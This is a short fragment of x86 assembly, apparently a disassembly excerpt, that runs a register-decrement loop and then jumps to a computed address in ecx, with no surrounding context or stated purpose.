dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx